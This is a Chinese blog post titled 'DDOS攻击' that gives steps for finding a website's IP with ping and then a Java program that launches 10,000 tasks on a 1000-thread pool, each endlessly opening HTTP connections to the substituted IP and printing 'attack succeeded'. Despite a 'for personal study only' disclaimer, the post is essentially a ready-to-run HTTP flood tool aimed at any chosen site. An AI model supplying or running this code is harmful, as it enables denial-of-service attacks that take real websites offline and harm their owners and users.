DDOS攻击

注:本博客只是为了自己的学习,记录自己的学习,请勿用于其他途径、

1、win+R-->cmd

2、ping 网站

3、替换IP

 

复制代码
 1 import java.io.BufferedInputStream;
 2 import java.io.IOException;
 3 import java.net.MalformedURLException;
 4 import java.net.URL;
 5 import java.net.URLConnection;
 6 import java.util.concurrent.ExecutorService;
 7 import java.util.concurrent.Executors;
 8 
 9 public class ddos {
10     public static void main(String[] args) {
11         //利用线程池创建1000个线程
12         ExecutorService es = Executors.newFixedThreadPool(1000);
13         for (int i = 0; i < 10000; i++) {
14             es.execute(
15                     (Runnable) () -> {
16                         while (true) {
17                             try {
18                                 URL url = new URL("http://xxx.xxx.xxx.xxx");
19                                 URLConnection conn = url.openConnection();
20                                 System.out.println("发包成功!");
21                                 BufferedInputStream bis = new BufferedInputStream(conn.getInputStream());
22                                 byte[] bytes = new byte[1024];
23                                 int len = -1;
24                                 StringBuffer sb = new StringBuffer();
25 
26                                 if (bis != null) {
27                                     if ((len = bis.read()) != -1) {
28                                         sb.append(new String(bytes, 0, len));
29                                         System.out.println("攻击成功!");
30                                         bis.close();
31                                     }
32                                 }
33                             } catch (MalformedURLException e) {
34                                 // TODO Auto-generated catch block
35                                 e.printStackTrace();
36                             } catch (IOException e) {
37                                 // TODO Auto-generated catch block
38                                 e.printStackTrace();
39                             }
40                         }
41                     }
42             );
43         }
44     }
45 }
复制代码

 

posted @   Java小白的搬砖路  阅读(455)  评论(0编辑  收藏  举报
编辑推荐:
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现
· 25岁的心里话

喜欢请打赏

扫描二维码打赏

支付宝打赏

点击右上角即可分享
微信分享提示